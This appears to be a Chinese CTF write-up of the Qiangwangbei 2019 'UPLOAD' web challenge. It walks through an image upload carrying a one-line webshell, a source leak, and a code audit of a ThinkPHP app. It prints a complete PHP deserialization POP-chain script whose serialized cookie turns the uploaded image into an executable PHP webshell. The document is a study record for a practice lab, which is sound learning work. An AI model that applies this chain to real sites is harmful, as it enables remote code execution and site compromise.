反序列化(強網杯2019—UPLOAD)
前言
這裏主要是復現一下強網杯2019web的第一題,UPLOAD。這是一道反序列化的題,反正我覺得挺難的,當時已經鎖定了反序列化的方向也沒能完成…
感謝大佬提供的復現環境:https://github.com/CTFTraining/qwb_2019_upload
UPLOAD
進入靶場後首先是一個登陸註冊頁面
這裏很自然的要想到有沒有注入,簡單的萬能密碼試了下不行,那就先接着往下走
這裏我們先註冊一個賬號,登陸成功後我們看到文件上傳的地方
要求上傳img,題目名也叫upload,這裏我們肯定是要來嘗試文件上傳漏洞的
我們直接上傳一句話木馬,發現返回禁止類型
這裏用截斷,burp改類型都不行
上傳一個加了一句話馬的jpg文件,發現可以上傳成功
這裏那個假裝這裏是一個聊天框也引起很多遐想啊,考慮會不會有xss
這裏我們再來看上傳成功的圖片,可以看到文件名是變成了md5值,後綴變成了.png,然後上傳成功之後就不能再繼續上傳,想再上傳就要重新註冊賬號了。
因爲我們上傳了一個帶一句話馬的圖片,這時候我們肯定還是希望有文件包含漏洞,這樣就直接get shell了,但強網杯畢竟是強網杯,當然沒有文件包含漏洞利用了…
這時候再想,看到標題是Discuz,直接找Discuz。但事實證明這並不是一個Discuz的框架,不要被它寫的所迷惑了
後面發現這道題存在源碼泄漏,怎麼發現源碼泄漏也是很神奇的,因爲另一道web題(和這道題一起放出的另一道題)是源碼泄漏提示下載www.tar.gz 文件,在本題發現也可以下載到。
這樣我們就獲得了源碼發現是ThinkPHP的框架
因爲ThinkPHP今年是爆過漏洞的,但後面嘗試漏洞條件不存在(後面有道福利題是利用ThinkPHP漏洞)
這時候我們要做的就是代碼審計了
後面分析會發現最重要就只有4個文件,但當時思維還是陷在了文件上傳中,當時最先考慮的是存不存在條件競爭(我也是第一次聽說條件競爭),但後面嘗試是沒有條件競爭的,雖然上傳過程中有臨時文件,但臨時文件是已.tmp結尾依舊不行
最後是代碼審計發現了可疑的反序列化,我看別人的writeup說存在 .idea 目錄用PHPStorm打開可以看到兩個斷點,其中一個就是斷在了反序列化那裏,另一個定義在了析構函數函數那裏(大佬也說析構函數很重要,因爲最後對象被回收一定會調用)
當時將目標鎖定在了反序列化後依舊沒有做出來,因爲不會構造…
大佬後面講的時候,說這種框架反序例化,可以直接去找有沒有爆出的反序列化鏈,然後Thinkphp是一個國產框架,信息並不是很多,所以最後還是要自己找
首先我們看反序列化的地方,可以看到這裏反序列化的地方並沒有對傳入值有檢驗,所以是可能存在反序列化漏洞的
因爲反序列漏洞是和魔法函數掛鉤的,我們再來找存在的魔法函數
一個是有斷點的析構函數
還存在_get和_call兩個函數
這時候我們需要結合程序的整體流程來進行一下分析
index.php是一個索引界面,我們請求過去後,反序例化我們傳過去的對象來檢查是否登陸
在Register.php的析構函數中,主要想判斷是否註冊成功,沒成功調用index方法
Profile.php中的_call和_get方法分別是在調用不可調用方法和不可調用成員變量時怎麼做
這時候我們通過call去調用upload_img方法,通過控制傳參來調用copy將png圖片拷貝爲php文件
所以我們這裏利用析構函數來構造,將cheeker構造爲profile對象,調用起index的時候,調用了不存在的方法所以觸發,
這時候我們來payload腳本(這裏是直接參考大佬寫的,php確實還是不怎麼會,改下參數)
<?php
namespace app\web\controller;
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
}
class Register
{
public $checker;
public $registed;
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php";
$register = new Register();
$register->registed = false;
$register->checker = $profile;
echo urlencode(base64_encode(serialize($register)));
生成的cookie用去替換已有的cookie,然後刷新,再去問問原來圖片的文件夾
可以看到原來的png已經變爲了php文件
這時候蟻劍去鏈接,發現成功鏈接上
最後通過文件管理找到cookie
總結
復現了一遍之後感覺還是有點懵懂,對反序列化的理解感覺還是不到位,最主要代碼功底也不行
反序列化不僅php有,java,python都有,大佬也說到python的反序列化漏洞是非常嚴重的,後面在結合python和反序列化的基礎知識和別的題目再來加深理解吧。